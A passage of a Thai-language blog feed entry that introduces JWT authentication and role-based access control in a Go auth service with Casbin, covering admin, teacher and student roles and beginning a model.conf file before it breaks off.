m><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p>]]></description><link>https://blog.pjjop.org/auth-service-101/</link><guid isPermaLink="false">67a0cc6e0325e40001ecb8dd</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Wed, 05 Feb 2025 08:00:41 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-03-at-21.04.23.png" class="kg-image" alt loading="lazy" width="2000" height="1342" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2568-02-03-at-21.04.23.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2568-02-03-at-21.04.23.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/02/Screenshot-2568-02-03-at-21.04.23.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/02/Screenshot-2568-02-03-at-21.04.23.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; &#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; &#xE1C;&#xE28;.&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C; &#xE41;&#xE25;&#xE30; &#xE2D;.&#xE14;&#xE23;.&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;</em><br><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a><br>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;<br>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></p><p>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE2D;&#xE19;&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; JWT Authentication &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Authorization &#xE43;&#xE19; Auth Service (REST API) &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Code &#xE20;&#xE32;&#xE29;&#xE32; Go &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;</p><h2 id="%E0%B8%9E%E0%B8%B7%E0%B9%89%E0%B8%99%E0%B8%90%E0%B8%B2%E0%B8%99%E0%B8%82%E0%B8%AD%E0%B8%87-authentication-%E0%B9%81%E0%B8%A5%E0%B8%B0-authorization">&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Authentication &#xE41;&#xE25;&#xE30; Authorization</h2><p><strong>Authentication</strong> &#xE2B;&#xE23;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE15;&#xE19; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE23;&#xE30;&#xE1A;&#xE27;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE32;&#xE23;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE15;&#xE31;&#xE27;&#xE15;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; &#xE40;&#xE0A;&#xE48;&#xE19; Username &#xE41;&#xE25;&#xE30; Password</p><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE15;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27; &#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23; &#xE2B;&#xE23;&#xE37;&#xE2D; API &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; (<strong>Authorization</strong>) &#xE42;&#xE14;&#xE22;&#xE2D;&#xE32;&#xE08;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14; Role-Based Access Control (RBAC) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE1A;&#xE17;&#xE1A;&#xE32;&#xE17; (Role) &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE25;&#xE30;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; (Permission) &#xE17;&#xE35;&#xE48;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE1A;&#xE17;&#xE1A;&#xE32;&#xE17;</p><p><strong>RBAC</strong> &#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; &#xE42;&#xE14;&#xE22;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21; (Role) &#xE41;&#xE25;&#xE30;&#xE1C;&#xE39;&#xE01;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; (Permission) &#xE01;&#xE31;&#xE1A; Role &#xE19;&#xE31;&#xE49;&#xE19; &#xE46; &#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE2A;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE38;&#xE0D;&#xE41;&#xE08;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2B;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE43;&#xE19;&#xE42;&#xE23;&#xE07;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19; &#xE42;&#xE14;&#xE22;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE04;&#xE19;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE38;&#xE0D;&#xE41;&#xE08;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE44;&#xE14;&#xE49;&#xE44;&#xE21;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19; &#xE02;&#xE36;&#xE49;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A;&#xE1A;&#xE17;&#xE1A;&#xE32;&#xE17;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE32;</p><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; RBAC &#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE30;&#xE40;&#xE1A;&#xE35;&#xE22;&#xE19;&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32; &#xE42;&#xE14;&#xE22;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE1A;&#xE17;&#xE1A;&#xE32;&#xE17; (Role) 3 &#xE41;&#xE1A;&#xE1A; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48;</p><ul><li>&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Role &#xE40;&#xE1B;&#xE47;&#xE19;&#xE1C;&#xE39;&#xE49;&#xE14;&#xE39;&#xE41;&#xE25;&#xE23;&#xE30;&#xE1A;&#xE1A; (admin) &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xE41;&#xE25;&#xE30;&#xE14;&#xE39;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32;</li><li>&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Role &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE32;&#xE08;&#xE32;&#xE23;&#xE22;&#xE4C; (teacher) &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE39;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32; &#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE23;&#xE14; &#xE41;&#xE25;&#xE30;&#xE14;&#xE39;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32;</li><li>&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Role &#xE40;&#xE1B;&#xE47;&#xE19;&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32; (student) &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE39;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE41;&#xE25;&#xE30;&#xE40;&#xE01;&#xE23;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE19;&#xE40;&#xE2D;&#xE07;</li></ul><p>&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Role &#xE08;&#xE30;&#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; (Permission) &#xE17;&#xE35;&#xE48;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19; &#xE42;&#xE14;&#xE22; Permission &#xE16;&#xE39;&#xE01;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; <strong>&#xE43;&#xE04;&#xE23;</strong> (admin, teacher &#xE41;&#xE25;&#xE30; student) &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;<strong> &#xE2D;&#xE30;&#xE44;&#xE23; </strong>(create, update, delete &#xE41;&#xE25;&#xE30; view) &#xE01;&#xE31;&#xE1A; <strong>&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23;&#xE43;&#xE14;</strong> (course, student &#xE41;&#xE25;&#xE30; grade)</p><p><strong>Casbin</strong> &#xE40;&#xE1B;&#xE47;&#xE19; Library &#xE43;&#xE19; go &#xE17;&#xE35;&#xE48;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE41;&#xE25;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE15;&#xE32;&#xE21;&#xE42;&#xE21;&#xE40;&#xE14;&#xE25;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07; RBAC &#xE42;&#xE14;&#xE22; Casbin &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; File &#xE42;&#xE21;&#xE40;&#xE14;&#xE25; (Model Configuration) &#xE41;&#xE25;&#xE30; File &#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22; (Policy) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE48;&#xE32;&#xE43;&#xE04;&#xE23; (Subject) &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23; (Action) &#xE01;&#xE31;&#xE1A;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23; (Object) &#xE44;&#xE14;&#xE49;&#xE1A;&#xE49;&#xE32;&#xE07;</p><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; RBAC &#xE43;&#xE19; Casbin &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>.
&#x251C;&#x2500;&#x2500; auth
&#x251C;&#x2500;&#x2500; go.mod
&#x251C;&#x2500;&#x2500; go.sum
&#x251C;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; model.conf
&#x2514;&#x2500;&#x2500; policy.csv</code></pre><ol><li>model.conf</li></ol><p>File &#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07; request, policy, role definition, &#xE41;&#xE25;&#xE30; matchers &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;</p><figure class="kg-card kg-code-card"><pre><code>[request_definition]
r = sub, obj, act

[policy_definition]
